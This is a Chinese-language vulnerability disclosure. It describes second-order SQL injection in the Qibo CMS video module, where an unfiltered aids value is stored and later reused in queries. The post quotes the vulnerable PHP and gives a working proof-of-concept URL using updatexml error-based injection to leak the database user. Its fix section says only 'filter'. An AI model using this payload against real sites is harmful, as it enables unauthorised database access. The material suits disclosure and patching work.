###0x01漏洞描述
齐博CMS视频系统 showsp.php和list.php 两处SQL注入漏洞。
###0x02漏洞详情
video/member/special.php
```
elseif($job=='addsp')
{
if($step==2){
$yz=($groupdb[PassContributeSP]||$web_admin)?1:0;
$db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')");
refreshto("special.php?job=listsp","??",1);
}
```
$aids没有初始话而且在全局文件中也没任何过滤,在加上齐博的伪全局机制使得$aids直接入库了
看看在什么地方出库了(在两个地方出库进入查询)
第一处:
video/showsp.php
```
$rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE id='$id'");
//这里查询取出aids
if(!$rsdb){
showerr("ݲ!");
}elseif($rsdb[yz]!=1){
if(!$web_admin&&$lfjuid!=$rsdb[uid]){
showerr("ûͨ");
}
此处省略代码若干
if($rsdb[aids])
{//这里如果rsdb[aids]存在就带入查询
$query = $db->query("SELECT A.*,D.content FROM {$_pre}article A LEFT JOIN {$_pre}reply D ON D.aid=A.aid WHERE D.topic=1 AND D.aid IN ($rsdb[aids])");
while($rs = $db->fetch_array($query)){
$rs[content]=preg_replace('/<([^<]*)>/is',"",$rs[content]); //HTML˵
$rs[content]=preg_replace('/ || /is',"",$rs[content]); //ѶĿոȥ
$rs[url]="$Mdomain/bencandy.php?fid=$rs[fid]&id=$rs[aid]";
$rs[subject]="<a href='$rs[url]' target=_blank>$rs[title]</a>";
$_listdb[$rs[aid]]=$rs;
}
```
select出aids 然后直接又带入查询 造成了注入漏洞
第二处:
video/member/list.php
```
if($step==2){
if(!$aidDB){
showerr("请至少选择一篇视频");
}elseif(!$Type){
showerr("请选择操作目标,是删除还是审核等...");
}
if($Type=='yz'){
if($T_yz<1){
$Type=='unyz';
}
}elseif($Type=='leavels'){
if($levels<1){
$Type='uncom';
}else{
$levels=1;
$Type='com';
}
}
//if($Type=='delete'){
//make_more_article_html("$FROMURL","del_0",$aidDB);
//}
$fid_str ='';
foreach( $aidDB AS $key=>$value){
if($webdb[Html_Type]==1&&$Type=='delete'){ //删除信息后,就读不到内容了
$rs=$db->get_one("SELECT fid FROM {$_pre}article WHERE aid='$value'");
$fid_str.="&bfid_array[]=$rs[fid]";
}
do_work($value,$Type,1);
```
在这里调用了do_work函数 跟进
video/inc/artic_function.php
```
function do_work($id,$job,$check=0){
global $db,$_pre,$timestamp,$lfjid,$lfjdb,$webdb,$web_admin,$reason,$Fid_db;
。。。
elseif($job=='special')
{
global $spid;
if(!$spid){
showerr("请选择一个专题");
}
$rssp=$db->get_one(" SELECT * FROM {$_pre}special WHERE id='$spid' ");
$detail=explode(",",$rssp[aids]);
var_dump($detail);
if( !in_array($id,$detail) ){
if($rssp[aids]){
$rssp[aids]="$id,$rssp[aids]";
}else{
$rssp[aids]="$id";
}
$db->query("UPDATE `{$_pre}special` SET `aids`='$rssp[aids]' WHERE id='$spid'");
}
$array[title]="你发表的《{$rsdb[title]}》被设置专题了";
```
把出库的aids带入了update语句,造成sql注入
###0x03漏洞证明
```
http://localhost/video/video/member/special.php?job=addsp&postdb[fid]=1&postdb[title]=2222&id=11&step=2&aids=2)%20and%20updatexml(0,concat(0xa,user()),0)%23
```

###0x04修复方案
过滤。
暂无评论